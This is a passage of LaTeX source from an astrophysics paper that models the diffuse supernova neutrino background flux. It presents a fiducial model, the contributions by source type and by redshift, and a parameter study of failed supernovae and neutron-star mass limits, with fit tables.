\caption{Components of the DSNB flux spectrum, $\mathrm{d}\Phi/\mathrm{d} E$, of electron antineutrinos arriving on Earth with energy $E$ for the case of our fiducial model (Z9.6\,\&\,W18; $\ensuremath{M_\mathrm{NS,b}^\mathrm{lim}}\,\mathord{=}\,\unit{2.7}{\ensuremath{\mathrm{M}_\sun}}$; best-fit $\alpha$). In the left panel, solid lines correspond to the contributions from ECSNe (light), successful iron-core SNe (medium), and failed SNe (dark) to the total DSNB flux (dashed line). The right panel shows the flux originating from different redshift intervals (light to dark for increasing redshift). To guide the eye, the approximate detection window of $\unit{(10-30)}{MeV}$ is bracketed by shaded vertical bands.\label{fig:dsnb_contributions}}
\end{figure*}
\subsection{Cosmological Model}\label{subsec:cosmology}
Throughout this work we assume standard $\Lambda$CDM cosmology with the present-day mass-energy density parameters $\Omega_\mathrm{m}\,\mathord{=}\,0.3$ and $\Omega_\mathrm{\Lambda}\,\mathord{=}\,0.7$ of matter and a cosmological constant, respectively, and the Hubble constant $H_0\,\mathord{=}\,\unit{70}{km\, s^{-1}\, Mpc^{-1}}$. The expansion history of the Universe is then given by $\mathrm{d} z/\mathrm{d} t_\mathrm{c}$\,= $-H_0(1\,\mathord{+}\,z)\sqrt{\Omega_\mathrm{m}(1\,\mathord{+}\,z)^3\,\mathord{+}\,\Omega_\Lambda}$. Using this together with Equation~\eqref{eq:DSNB_general}, we can write the DSNB flux spectrum (in units of $\mathrm{MeV^{-1}cm^{-2}s^{-1}}$) as
\begin{equation}\label{eq:DSNB}
\frac{\mathrm{d}\Phi}{\mathrm{d} E} = \frac{c}{H_0}\int_{0}^{z_\mathrm{max}} \frac{\mathrm{d} N_{\mathrm{CC}}}{\mathrm{d} E'} \frac{R_\mathrm{CC}(z)\:\mathrm{d} z}{\sqrt{\Omega_\mathrm{m}(1+z)^3+\Omega_\mathrm{\Lambda}}}~.
\end{equation}
We do not vary the cosmological assumptions within our work, following most publications on the DSNB topic. For recent studies of the impact of different cosmological models on the DSNB, the reader is referred to \citet{2018JPhG...45e5201B} or \citet{2019PDU....2600397Y}. Having described our computational model with all of its required inputs, we now proceed to the discussion of our results.
\section{Fiducial DSNB Model} \label{sec:fiducial_model}
In this section, we present our fiducial DSNB pre\-dictions and show how the single components (ECSNe, SNe, and failed SNe at various redshifts) contribute to the total flux. The following set of inputs makes up our fiducial model:
\begin{itemize}
\item As in \citet{2016ApJ...818..124E} and \citet{2016ApJ...821...38S}, we take the intermediate engine model Z9.6\,\&\,W18 (with 26.9\% failed SNe) as our reference case.\footnote{The resulting nucleosynthesis yields show a reasonable agreement with the solar element abundances (when type Ia SNe are included); and the NS mass distribution roughly fits observational data \citep{2016ARA&A..54..401O}, as does the distribution of BH masses \citep{2014bsee.confE..37W} if one assumes that only the star's helium core collapses while its hydrogen envelope gets unbound \citep[cf.][]{1980Ap&SS..69..115N, 2013ApJ...769..109L, 2014ApJ...785...28K}. For more details, the reader is referred to \citet{2016ApJ...821...38S}. The rather high fraction of failed explosions (26.9\%; see Table~\ref{tab:explodability}) is not unrealistic given the large discrepancy between the observed SN rate and the SFH \citep{2011ApJ...738..154H}. And also the recent discovery of a disappearing star \citep{2017MNRAS.468.4968A} supports a non-zero fraction of failed explosions. Our weakest engine model, Z9.6\,\&\,W20, which yields by far the largest fraction of failed SNe (41.7\% see Table~\ref{tab:explodability}), is disfavored since it would lead to a significant underproduction of s-process elements \citep{2013ApJ...769...99B, 2016ApJ...821...38S}.}
\item Guided by \citet{2017ApJ...850L..19M}, we assume a fiducial value of $\ensuremath{M_\mathrm{NS,b}^\mathrm{lim}}\,\mathord{=}\,\unit{2.7}{\ensuremath{\mathrm{M}_\sun}}$ for the NS (baryonic) mass limit, where a PNS is assumed to collapse to a BH and the neutrino signal is truncated (see Section~\ref{subsec:neutrino_signals}).
\item According to our detailed analysis of the spectral shapes in Appendix~\ref{appendix:spectra}, we take a ``best-fit'' value of $\alpha\,\mathord{=}\,3.5$ for the instantaneous spectral-shape parameter of $\ensuremath{\bar{\nu}_{e}}$ for successful SNe with baryonic NS masses of $M_\mathrm{NS,b}\,\mathord{\leqslant}\,\unit{1.6}{\ensuremath{\mathrm{M}_\sun}}$, of $\alpha\,\mathord{=}\,3.0$ for SNe with $M_\mathrm{NS,b}\,\mathord{>}\,\unit{1.6}{\ensuremath{\mathrm{M}_\sun}}$, and of $\ensuremath{\alpha_\mathrm{BH}}\,\mathord{=}\,2.0$ for the BH-forming, failed explosions.
\item As our reference for the cosmic core-collapse rate, we take Equations~\eqref{eq:R_CC} and \eqref{eq:SFH} with the best-fit parameters for the SFH according to \citet[table~1]{2014ApJ...790..115M}, which yields $\ensuremath{R_\mathrm{CC}}(0)$\,= $\unit{8.93 \times 10^{-5}}{Mpc^{-3}yr^{-1}}$ for the local universe.
\end{itemize}
\begin{deluxetable*}{cccccc}
\tablecaption{
DSNB \ensuremath{\bar{\nu}_{e}}-flux contributions.
\label{tab:dsnb_contributions}}
\tablehead{
\colhead{} & \colhead{$\unit{(0-10)}{MeV}$} & \colhead{$\unit{(10-20)}{MeV}$} & \colhead{$\unit{(20-30)}{MeV}$} & \colhead{$\unit{(30-40)}{MeV}$} & \colhead{$\unit{(0-40)}{MeV}$}
}
\startdata
Total DSNB Flux (\ensuremath{\bar{\nu}_{e}}) & $\unit{22.7}{cm^{-2}s^{-1}}$ & $\unit{5.4}{cm^{-2}s^{-1}}$ & $\unit{0.6}{cm^{-2}s^{-1}}$& $\unit{0.1}{cm^{-2}s^{-1}}$ & $\unit{28.8}{cm^{-2}s^{-1}}$ \\
\hline
ECSNe & $2.6\%$ & $1.2\%$ & $0.5\%$ & $0.2\%$ & $2.3\%$ \\
Iron-Core SNe & $57.1\%$ & $51.8\%$ & $37.5\%$ & $23.9\%$ & $55.6\%$ \\
Failed SNe & $40.3\%$ & $47.0\%$ & $62.0\%$ & $75.8\%$ & $42.1\%$ \\
\hline
$0 \leqslant z \leqslant 1$ & $28.3\%$ & $67.4\%$ & $88.7\%$ & $95.8\%$ & $37.2\%$ \\
$1 \leqslant z \leqslant 2$ & $40.7\%$ & $29.3\%$ & $11.0\%$ & $4.2\%$ & $37.8\%$ \\
$2 \leqslant z \leqslant 3$ & $19.0\%$ & $3.1\%$ & $0.3\%$ & $<$\,0.1\% & $15.6\%$ \\
$3 \leqslant z \leqslant 4$ & $10.0\%$ & $0.4\%$ & $<$\,0.1\% & $<$\,0.1\% & $7.9\%$ \\
$4 \leqslant z \leqslant 5$ & $2.8\%$ & $<$\,0.1\% & $<$\,0.1\% & $<$\,0.1\% & $2.2\%$
\enddata
\tablecomments{Top row: Total DSNB flux of \ensuremath{\bar{\nu}_{e}}\ for our fiducial model (Z9.6\,\&\,W18; $\ensuremath{M_\mathrm{NS,b}^\mathrm{lim}}\,\mathord{=}\,\unit{2.7}{\ensuremath{\mathrm{M}_\sun}}$; best-fit $\alpha$), integrated over different energy intervals. Second to fourth row: Relative contributions from the various source types (ECSNe/iron-core SNe/failed SNe with BH formation). Rows 5--9: Relative contributions from different redshift intervals (see also Figure~\ref{fig:dsnb_contributions}).}
\end{deluxetable*}
In Figure~\ref{fig:dsnb_contributions}, we first illustrate how the various sources contribute to the total DSNB flux spectrum, $\mathrm{d}\Phi/\mathrm{d} E$, of electron antineutrinos, using our fiducial model. The left panel shows the individual fluxes arising from ECSNe, ``conventional'' iron-core SNe, and BH-forming, failed SNe, respectively (light to dark solid lines). Integrated over all energies, ECSNe contribute only 2.3\% ($\unit{0.7}{cm^{-2}s^{-1}}$) to the total flux ($\unit{28.8}{cm^{-2}s^{-1}}$), whose spectrum is shown by a black dashed line. This value is much lower than the $\sim$10\% suggested by \cite{2014ApJ...790..115M} as they assumed a considerably wider ZAMS mass range, $\unit{(8-10)}{\ensuremath{\mathrm{M}_\sun}}$, compared to $\unit{(8.7-9)}{\ensuremath{\mathrm{M}_\sun}}$ applied in our work \citep[see][]{2013ApJ...772..150J, 2015MNRAS.446.2599D}. Above $\unit{15}{MeV}$, the contribution of ECSNe accounts for even less than 1\% due to its more rapidly declining spectrum (remember the low mean energy of 11.6\,MeV, as mentioned in Section~\ref{sec:simulation_setup}). However, since the exact mass window of ECSNe is still unclear \citep[see, e.g.,][]{2008ApJ...675..614P, 2013ApJ...772..150J, 2015MNRAS.446.2599D, 2016A&A...593A..72J, 2019PhRvL.123z2701K, 2019ApJ...886...22Z, 2020ApJ...889...34L} and other sources such as ultra\-stripped SNe, AIC, and MIC events might contribute to the DSNB flux with source spectra similar to those of ECSNe, we will consider an enhanced ``low-mass'' component in Section~\ref{subsec:dsnb_LM}.
``Conventional'' iron-core SNe and failed SNe possess comparable integrated fluxes ($\unit{16.0}{cm^{-2}s^{-1}}$ and $12.1$ cm$^{-2}$s$^{-1}$) in case of our fiducial model as shown in Figure~\ref{fig:dsnb_contributions}, yet with distinctly different spectral shapes. Below $\sim$15\,MeV, the contribution from successful explosions is higher, whereas failed explosions dominate the flux at high energies due to their generally harder spectra (see bottom panel of Figure~\ref{fig:neutrino_outcomesystematics}). This was pointed out by previous works \citep[e.g.,][]{2009PhRvL.102w1101L, 2012PhRvD..85d3011K, 2013PhRvD..88h3012N, 2017JCAP...11..031P} and can also be seen in Table~\ref{tab:dsnb_contributions}, where we list the relative flux contributions from the various sources for different ranges of neutrino energies. Between $\unit{20}{MeV}$ and $\unit{30}{MeV}$, failed SNe account for 62\% of the total flux (at still higher energies, even 76\%). Naturally, these numbers (here given for our reference model set) depend strongly on the fraction of failed explosions and their neutrino emission (see Section~\ref{subsec:dsnb_parameter_study}). Compared to previous studies, we obtain a generally increased DSNB flux, advantageous for its imminent detection. We will comment on this issue more thoroughly below.
In the right panel of Figure~\ref{fig:dsnb_contributions}, we compare the DSNB contributions from different redshift intervals (light to dark for increasing redshift). At high energies ($\unit{\gtrsim20}{MeV}$), the flux mainly originates from sources below $z\sim1$, as it was illustrated in several previous works \citep{2004ApJ...607...20A, 2012PhRvD..85d3011K, 2014ApJ...790..115M, 2015ApJ...804...75N, 2016APh....79...49L}. Only at lower energies, the contribution from large redshifts gets increasingly important (see Table~\ref{tab:dsnb_contributions}). In both panels of Figure~\ref{fig:dsnb_contributions}, shaded bands bracket the approximate energy window of $\sim$(10--30)\,MeV which is most relevant for the DSNB detection in upcoming neutrino observatories. Beyond that, background sources (such as reactor and solar neutrinos at low energies and atmospheric neutrinos at high energies) dominate the flux and make the DSNB measurement unfeasible \citep[see, e.g., review by][]{2016APh....79...49L}.
As already pointed out in Section~\ref{subsec:CC_rate}, the cosmic SFH constitutes one of the major uncertainties in predicting the DSNB. Before we proceed to the main part of our parameter study, we thus test how the DSNB flux spectrum depends on the assumed parametrization of the SFH. In Figure~\ref{fig:dsnb_SFR}, we show our fiducial DSNB model (black dashed line) together with the uncertainty corresponding to the $\pm1\sigma$ confidence interval of the SFH according to \citet[``M+2014''; gray shaded band]{2014ApJ...790..115M}. For comparison, we also employ the more conservative SFH from \citet[][``MD2014''; equation~(15)]{2014MadauDickinson} (orange line) as well as the recent results of the \citet{2018Sci...362.1031F} on the evolution of the extragalactic background light (EBL): an empirical EBL reconstruction (EBLr) and a physical EBL (pEBL) model (blue and green shaded bands, respectively; see their figure~3). We already noted in Section~\ref{subsec:CC_rate} that, to remain consistent with the IMF employed for determining the SFH $\psi_\ast(z)$, the same IMF should be taken also for the conversion of $\psi_\ast(z)$ to the cosmic core-collapse rate density $\ensuremath{R_\mathrm{CC}}(z)$. For this reason, we adopt a conventional Salpeter IMF \citep{1955ApJ...121..161S} or the one by \citet{2003PASP..115..763C} in the cases of using the SFHs from \citet{2014MadauDickinson} or from the \citet{2018Sci...362.1031F}, respectively. Equation~\eqref{eq:R_CC} becomes $\ensuremath{R_\mathrm{CC}}(z)\,\mathord{=}\,\psi_\ast(z)/\unit{151}{\ensuremath{\mathrm{M}_\sun}}$ in the former case and $\ensuremath{R_\mathrm{CC}}(z)\,\mathord{=}\,\psi_\ast(z)/\unit{95}{\ensuremath{\mathrm{M}_\sun}}$ in the latter case. Notice the wide spread of the resulting DSNB flux spectra in Figure~\ref{fig:dsnb_SFR}, especially at low energies \citep[cf.][]{2020arXiv200702951R}. Throughout our work, we will assume an uncertainty of the cosmic core-collapse rate corresponding to the $\pm1\sigma$ band of \citet{2014ApJ...790..115M}.
\begin{figure}
\includegraphics[width=\columnwidth]{fig4}
\caption{Dependence of the DSNB \ensuremath{\bar{\nu}_{e}}-flux spectrum on the assumed parametrization of the cosmic SFH. In our fiducial model (black dashed line, cf. Figure~\ref{fig:dsnb_contributions}), the SFH of \citet{2014ApJ...790..115M} is employed; the gray shaded band corresponds to their $\pm1\sigma$ upper and lower limits. The orange line indicates the DSNB spectrum for the SFH of \citet{2014MadauDickinson}, whereas the DSNB spectrum for the SFH from the \citet{2018Sci...362.1031F} is given by blue (empirical EBL reconstruction) and green (physical EBL model) shaded bands ($1\sigma$ confidence regions). Note that a conventional Salpeter IMF \citep{1955ApJ...121..161S} and the one by \citet{2003PASP..115..763C} are used (instead of the Salpeter-A IMF from \citealt{2003ApJ...593..258B}) for the conversion of the SFH to the cosmic core-collapse rate (Equation~\eqref{eq:R_CC}), when the SFHs from \citet{2014MadauDickinson} or the \citet{2018Sci...362.1031F} are used, respectively (see main text). As in Figure~\ref{fig:dsnb_contributions}, vertical bands frame the approximate detection window.\label{fig:dsnb_SFR}}
\end{figure}
Since our overall findings apply similarly for all neutrino species, we constrain our discussion to electron antineutrinos for now. In Section~\ref{sec:nue}, we will briefly discuss the DSNB flux spectrum of electron neutrinos and, in Section~\ref{subsec:flavor_conversions}, we will comment on the influence of heavy-lepton neutrinos in the context of neutrino flavor oscillation effects.
\section{DSNB Parameter Study} \label{sec:parameter_study}
In this section, we present the results of our detailed DSNB parameter study. Using large grids of long-time neutrino signals (see Section~\ref{sec:simulation_setup}), we probe the sensitivity of the DSNB to three critical source properties (in Section~\ref{subsec:dsnb_parameter_study}): the fraction of failed explosions (by means of our different engine models), the threshold mass for BH formation, and the spectral shape of the neutrino emission from failed explosions. Moreover, the possible enhancement of the DSNB by an additional generic ``low-mass'' component is explored (Section~\ref{subsec:dsnb_LM}) as well as the effect of including binary progenitor models (Section~\ref{subsec:dsnb_binary}).
\subsection{DSNB Parameter Dependence}\label{subsec:dsnb_parameter_study}
\begin{figure*}[ht!]
\includegraphics[width=\textwidth]{fig5}
\caption{Parameter dependence of the DSNB flux spectrum, $\mathrm{d}\Phi/\mathrm{d} E$, for the case of electron antineutrinos. In the different panels the engine models (upper left panel), the NS mass limit for BH formation (upper right panel), and the instantaneous spectral-shape parameter, \ensuremath{\alpha_\mathrm{BH}}, of the time-dependent neutrino emission from BH-formation events (lower left panel) are varied, while keeping all other parameters at their reference values (Z9.6\,\&\,W18; $\ensuremath{M_\mathrm{NS,b}^\mathrm{lim}}\,\mathord{=}\,\unit{2.7}{\ensuremath{\mathrm{M}_\sun}}$; best-fit $\alpha$, i.e. $\alpha$\,=\,3.5 for SNe with $M_\mathrm{NS,b}\,\mathord{\leqslant}\,\unit{1.6}{\ensuremath{\mathrm{M}_\sun}}$, $\alpha$\,=\,3.0 for those with $M_\mathrm{NS,b}\,\mathord{>}\,\unit{1.6}{\ensuremath{\mathrm{M}_\sun}}$, and $\ensuremath{\alpha_\mathrm{BH}}$\,=\,2.0 for failed SNe; see Section~\ref{sec:fiducial_model}). In the lower right panel, the additional contribution from low-mass (LM) NS-forming events is shown for different constant rate densities \ensuremath{R_\mathrm{LM}}. For comparison, the pale red band marks the LM flux for an evolving rate instead (see main text for details). Our fiducial model with $\ensuremath{R_\mathrm{LM}}\,\mathord{=}\,0$ is plotted as dashed line. In each panel, a gray shaded band indicates the uncertainty arising from the cosmic core-collapse rate \citep[corresponding to the $\pm1\sigma$ upper and lower limits to the SFH of][]{2014ApJ...790..115M}. As in Figure~\ref{fig:dsnb_contributions}, vertical bands frame the approximate detection window.\\
\label{fig:dsnb_parameter_study}
}
\end{figure*}
First, we study the impact of our engine model (as described in Section~\ref{subsec:SN_simulations}) on the DSNB flux spectrum. In the upper left panel of Figure~\ref{fig:dsnb_parameter_study}, we show $\mathrm{d}\Phi/\mathrm{d} E$ for the various choices of central neutrino engines for our simulations. Sets with a higher percentage of failed explosions (see Figure~\ref{fig:explodability} and Table~\ref{tab:explodability}) yield an enhanced DSNB flux, especially in the high-energy regime. This overall picture is in line with the studies by \citet{2009PhRvL.102w1101L}, \citet{2010PhRvD..81h3001L} and \citet{2012PhRvD..85d3011K}, who varied the fraction of BH-forming collapses while applying generic neutrino spectra and thus neglecting progenitor dependences. More recently, \citet{2017JCAP...11..031P} and \citet{2018JCAP...05..066M} examined the fraction of failed SNe by assuming different ZAMS mass distributions, while \cite{2018MNRAS.475.1363H}, for the first time, employed a larger sample of simulations including seven BH-formation cases, thus taking into account progenitor-dependent variations in the neutrino emission from failed explosions (by linearly interpolating the total energetics, mean energy, and shape parameter of their time-integrated neutrino spectra as a function of the compactness parameter of \citealt{2011ApJ...730...70O}; see footnote~\ref{fn:compactness}). They explored relative fractions of BH-formation cases between 0\% and 45\% by taking different threshold values for the compactness above which they assumed their progenitors to form BHs.
Using our large sets of long-time simulations without predefined outcome (also resulting in BH formation of less compact progenitors with low mass-accretion rates), we can confirm the common result of the previous studies: the larger the fraction of failed explosions, the stronger the enhancement of the DSNB at high energies. To better quantify this behavior, we follow \citet{2007PhRvD..75g3022L} and fit the high-energy tail ($\unit{20}{MeV}\,\mathord{\leqslant}\,E\,\mathord{\leqslant}\,\unit{30}{MeV}$) of our DSNB flux spectra with an exponential function:
\begin{equation}\label{eq:exponential_dsnb_fit}
\frac{\mathrm{d}\Phi}{\mathrm{d} E} \simeq \phi_0 \:\mathrm{e}^{-E/E_0}\:.
\end{equation}
Our model set Z9.6\,\&\,S19.8 with the lowest fraction of failed explosions (17.8\%) features the steepest decline (i.e. $E_0\,\mathord{=}\,\unit{4.5}{MeV}$), while Z9.6\,\&\,W20 with 41.7\% BH-formation cases yields a flatter spectrum with $E_0$\,=\,$\unit{5.1}{MeV}$. The ``normalization'' $\phi_0$, on the other hand, is hardly affected by the choice of our engine model. Instead, it is determined by the uncertainty arising from the cosmic core-collapse rate, which shifts the entire flux spectrum vertically without changing the slope by more than $\sim$1\%.\footnote{\label{fn:E0_RCC}The fact that $E_0$ is not entirely unaffected by changes of \ensuremath{R_\mathrm{CC}}\ is due to different functional dependences of the $\pm1\sigma$ upper/lower limits to the cosmic SFH on the redshift~$z$ (see table~1 of \citealt{2014ApJ...790..115M}).} The gray shaded bands in Figure~\ref{fig:dsnb_parameter_study} indicate this severe normalization uncertainty (the $+1\sigma$ upper limit to the SFH of \citet{2014ApJ...790..115M} is taken for our highest-flux, the $-1\sigma$ lower limit for our lowest-flux model). The aspect that the failed-SN fraction is likely to exhibit a dependence on metallicity (and thus redshift) was pointed out by \citet{2015ApJ...804...75N} and \citet{2015PhLB..751..413Y}. We will come back to this point in Section~\ref{subsec:remaining_uncertainties}.
The impact of the NS mass limit on the DSNB has been discussed in the literature to some extent \citep{2009PhRvL.102w1101L, 2012PhRvD..85d3011K, 2015ApJ...804...75N, 2016ApJ...827...85H, 2018ApJ...869...31H}. Commonly, the spectra from exemplary simulations of BH formation with two different EoSs were compared: the stiff Shen EoS \citep[][with incompressibility $K\,\mathord{=}\,\unit{281}{MeV}$]{1998NuPhA.637..435S} and a softer EoS by \citet[``LS180'' or ``LS220'', with $K\,\mathord{=}\,\unit{180}{MeV}$ or $K\,\mathord{=}\,\unit{220}{MeV}$]{1991NuPhA.535..331L}. Generally, a stiff EoS supports the transiently existing PNS of a failed SN against gravity up to a higher limiting mass than a soft EoS does. The final collapse to a BH therefore sets in after a longer period of mass accretion and neutrino emission with the consequence of higher spectral temperatures and an enhanced contribution to the DSNB flux.
Having a large compilation of long-time simulations at hand, we take a different (more rigorous) approach in our work: As described in Section~\ref{sec:simulation_setup}, we directly vary the maximum baryonic NS mass, \ensuremath{M_\mathrm{NS,b}^\mathrm{lim}}, without applying a certain EoS. Our neutrino signals from failed explosions are then truncated when the mass accretion from the collapsing progenitor star pushes the PNS mass beyond this critical threshold for BH formation. In the upper right panel of Figure~\ref{fig:dsnb_parameter_study}, we show the DSNB flux spectra for our different choices of \ensuremath{M_\mathrm{NS,b}^\mathrm{lim}}. Raising the NS mass limit from $\unit{2.3}{\ensuremath{\mathrm{M}_\sun}}$ to $\unit{3.5}{\ensuremath{\mathrm{M}_\sun}}$ drastically enhances the flux at higher energies, thus lifting the value of the slope parameter, $E_0$/MeV (see Equation~\eqref{eq:exponential_dsnb_fit}), from 4.4 to 5.6. This strong effect becomes immediately clear from Figure~\ref{fig:neutrino_outcomesystematics}: A higher NS mass limit leads to enhanced time-integrated neutrino luminosities and generally hotter spectra, in line with the studies by \citet{2009PhRvL.102w1101L}, \citet{2012PhRvD..85d3011K}, \citet{2015ApJ...804...75N}, and \citet{2016ApJ...827...85H, 2018ApJ...869...31H}.
We should mention that our study does not consider the possibility of a progenitor-dependent threshold mass for BH formation. \citet{2011ApJ...730...70O} pointed out that thermal pressure support may be stronger for stars with high core compactness, lifting the maximum PNS mass to somewhat larger values. This might slightly reduce differences in the neutrino emission between individual progenitors. The results of Figure~\ref{fig:dsnb_parameter_study} should, however, remain essentially unchanged, because thermal stabilization of the PNS should be most relevant when the mass-accretion rate is high and the PNS becomes very hot. In such cases, however, the critical limit for BH formation is also reached quickly and the neutrino emission is not very extended. The wide range of values for \ensuremath{M_\mathrm{NS,b}^\mathrm{lim}}\ considered in our study should include the true NS mass limit, which depends on the still incompletely known high-density EoS of NS matter. Once the latter is better constrained by astrophysical observations and nuclear experiments and theory, and thus the maximum mass of cold NS is better constrained, the question of a progenitor-dependent thermal effect on the transient PNS stabilization can be addressed more thoroughly.
\begin{deluxetable*}{lrr}
\tablecaption{Exponential-fit parameters of Equation~\eqref{eq:exponential_dsnb_fit} for a subset of our DSNB models.\label{tab:exp_fit}}
\tablehead{
\colhead{Model} & \colhead{$\phi_0$ [$\mathrm{MeV^{-1}cm^{-2}s^{-1}}$]} & \colhead{$E_0$ [MeV]}
}
\startdata
W18-BH2.7-$\alpha$2.0 (fiducial) & $9.4^{+7.5}_{-3.3}$ ($7.3^{+5.9}_{-2.6}$, $6.7^{+1.7}_{-1.4}$, $4.4$) & $4.82^{+0.04}$ ($4.84^{+0.04}$, $5.1^{+0.2}_{-0.3}$, $5.2$) \\
W20-BH3.5-$\alpha$1.0 (max.) & $6.6^{+5.3}_{-2.4}$ ($4.8^{+3.8}_{-1.7}$, $4.9^{+1.3}_{-1.0}$, $3.3$) & $6.79^{+0.05}$ ($6.46^{+0.05}$, $7.1^{+0.2}_{-0.3}$, $7.1$) \\
S19.8-BH2.3-$\alpha$3.0 (min.) & $12.6^{+10.3}_{-4.3}$ ($9.6^{+7.7}_{-3.3}$, $8.7^{+2.1}_{-1.7}$, $5.6$) & $4.09^{+0.03}$ ($4.32^{+0.04}$, $4.4^{+0.2}_{-0.3}$, $4.4$) \\
\hline
S19.8-BH2.7-$\alpha$2.0 & $10.6^{+8.6}_{-3.7}$ ($8.5^{+6.9}_{-3.0}$, $7.5^{+1.9}_{-1.6}$, $4.9$) & $4.51^{+0.04}$ ($4.60^{+0.04}$, $4.8^{+0.2}_{-0.3}$, $4.9$) \\
N20-BH2.7-$\alpha$2.0 & $9.3^{+7.5}_{-3.2}$ ($7.4^{+6.0}_{-2.6}$, $6.6^{+1.7}_{-1.4}$, $4.3$) & $4.71^{+0.04}$ ($4.75^{+0.04}$, $5.0^{+0.2}_{-0.3}$, $5.1$) \\
W15-BH2.7-$\alpha$2.0 & $9.1^{+7.3}_{-3.2}$ ($7.0^{+5.6}_{-2.4}$, $6.5^{+1.6}_{-1.3}$, $4.2$) & $4.90^{+0.04}$ ($4.90^{+0.05}$, $5.2^{+0.2}_{-0.3}$, $5.3$) \\
W20-BH2.7-$\alpha$2.0 & $9.6^{+7.6}_{-3.4}$ ($6.7^{+5.3}_{-2.3}$, $6.8^{+1.6}_{-1.3}$, $4.4$) & $5.13^{+0.05}$ ($5.14^{+0.05}$, $5.5^{+0.3}_{-0.3}$, $5.5$) \\
\hline
W18-BH2.3-$\alpha$2.0 & $9.9^{+8.0}_{-3.4}$ ($7.7^{+6.2}_{-2.7}$, $7.0^{+1.7}_{-1.4}$, $4.5$) & $4.43^{+0.04}$ ($4.57^{+0.04}$, $4.7^{+0.2}_{-0.3}$, $4.8$) \\
W18-BH2.7-$\alpha$2.0 & $9.4^{+7.5}_{-3.3}$ ($7.3^{+5.9}_{-2.6}$, $6.7^{+1.7}_{-1.4}$, $4.4$) & $4.82^{+0.04}$ ($4.84^{+0.04}$, $5.1^{+0.2}_{-0.3}$, $5.2$) \\
W18-BH3.1-$\alpha$2.0 & $9.0^{+7.1}_{-3.1}$ ($6.9^{+5.5}_{-2.4}$, $6.4^{+1.6}_{-1.3}$, $4.3$) & $5.22^{+0.05}$ ($5.14^{+0.05}$, $5.5^{+0.2}_{-0.3}$, $5.6$) \\
W18-BH3.5-$\alpha$2.0 & $8.7^{+6.9}_{-3.1}$ ($6.6^{+5.3}_{-2.3}$, $6.3^{+1.6}_{-1.3}$, $4.2$) & $5.59^{+0.05}$ ($5.44^{+0.05}$, $5.9^{+0.2}_{-0.3}$, $6.0$) \\
\hline
W18-BH2.7-$\alpha$1.0 & $6.3^{+5.1}_{-2.2}$ ($5.5^{+4.5}_{-1.9}$, $4.7^{+1.4}_{-1.1}$, $3.2$) & $5.44^{+0.04}$ ($5.25^{+0.04}$, $5.7^{+0.2}_{-0.3}$, $5.7$) \\
W18-BH2.7-$\alpha$1.5 & $7.8^{+6.3}_{-2.7}$ ($6.5^{+5.2}_{-2.3}$, $5.7^{+1.5}_{-1.3}$, $3.8$) & $5.09^{+0.04}$ ($5.02^{+0.04}$, $5.4^{+0.2}_{-0.3}$, $5.4$) \\
W18-BH2.7-$\alpha$2.0 & $9.4^{+7.5}_{-3.3}$ ($7.3^{+5.9}_{-2.6}$, $6.7^{+1.7}_{-1.4}$, $4.4$) & $4.82^{+0.04}$ ($4.84^{+0.04}$, $5.1^{+0.2}_{-0.3}$, $5.2$) \\
W18-BH2.7-$\alpha$2.5 & $10.9^{+8.7}_{-3.8}$ ($8.1^{+6.5}_{-2.8}$, $7.6^{+1.8}_{-1.5}$, $5.0$) & $4.62^{+0.04}$ ($4.70^{+0.04}$, $4.9^{+0.2}_{-0.3}$, $5.0$) \\
W18-BH2.7-$\alpha$3.0 & $12.3^{+9.9}_{-4.3}$ ($8.9^{+7.1}_{-3.1}$, $8.5^{+2.0}_{-1.6}$, $5.5$) & $4.46^{+0.04}$ ($4.58^{+0.04}$, $4.8^{+0.2}_{-0.3}$, $4.9$) \\
\hline
W18-BH2.7-$\alpha$2.0-He33 & $8.0^{+6.4}_{-2.8}$ ($6.3^{+5.1}_{-2.2}$, $5.7^{+1.4}_{-1.2}$, $3.7$) & $4.76^{+0.04}$ ($4.79^{+0.04}$, $5.1^{+0.2}_{-0.3}$, $5.1$) \\
W18-BH2.7-$\alpha$2.0-He100 & $5.5^{+4.4}_{-1.9}$ ($4.4^{+3.5}_{-1.5}$, $4.0^{+1.0}_{-0.8}$, $2.5$) & $4.45^{+0.04}$ ($4.59^{+0.04}$, $4.7^{+0.2}_{-0.3}$, $4.8$) \\
\hline
S19.8-BH2.3-$\alpha$2.0 & $11.1^{+9.1}_{-3.8}$ ($8.8^{+7.1}_{-3.0}$, $7.8^{+1.9}_{-1.6}$, $5.0$) & $4.23^{+0.03}$ ($4.42^{+0.04}$, $4.5^{+0.2}_{-0.3}$, $4.6$) \\
W18-BH3.5-$\alpha$1.0 & $5.8^{+4.7}_{-2.1}$ ($4.9^{+4.0}_{-1.7}$, $4.4^{+1.3}_{-1.1}$, $3.0$) & $6.38^{+0.04}$ ($5.96^{+0.04}$, $6.6^{+0.2}_{-0.3}$, $6.7$) \\
W15-BH3.5-$\alpha$1.0 & $5.7^{+4.6}_{-2.1}$ ($4.7^{+3.8}_{-1.7}$, $4.3^{+1.3}_{-1.0}$, $2.9$) & $6.49^{+0.04}$ ($6.08^{+0.04}$, $6.8^{+0.2}_{-0.3}$, $6.8$) \\
W20-BH2.7-$\alpha$1.0 & $6.2^{+4.9}_{-2.2}$ ($4.8^{+3.8}_{-1.7}$, $4.5^{+1.2}_{-1.0}$, $3.1$) & $5.94^{+0.05}$ ($5.73^{+0.04}$, $6.2^{+0.2}_{-0.3}$, $6.3$) \\
W20-BH3.1-$\alpha$1.0 & $6.3^{+5.1}_{-2.3}$ ($4.7^{+3.8}_{-1.7}$, $4.7^{+1.3}_{-1.0}$, $3.2$) & $6.39^{+0.05}$ ($6.12^{+0.05}$, $6.7^{+0.2}_{-0.3}$, $6.7$) \\
W20-BH3.5-$\alpha$2.0 & $10.2^{+7.9}_{-3.6}$ ($6.7^{+5.3}_{-2.4}$, $7.2^{+1.7}_{-1.3}$, $4.8$) & $5.86^{+0.06}$ ($5.77^{+0.06}$, $6.2^{+0.3}_{-0.4}$, $6.3$)
\enddata
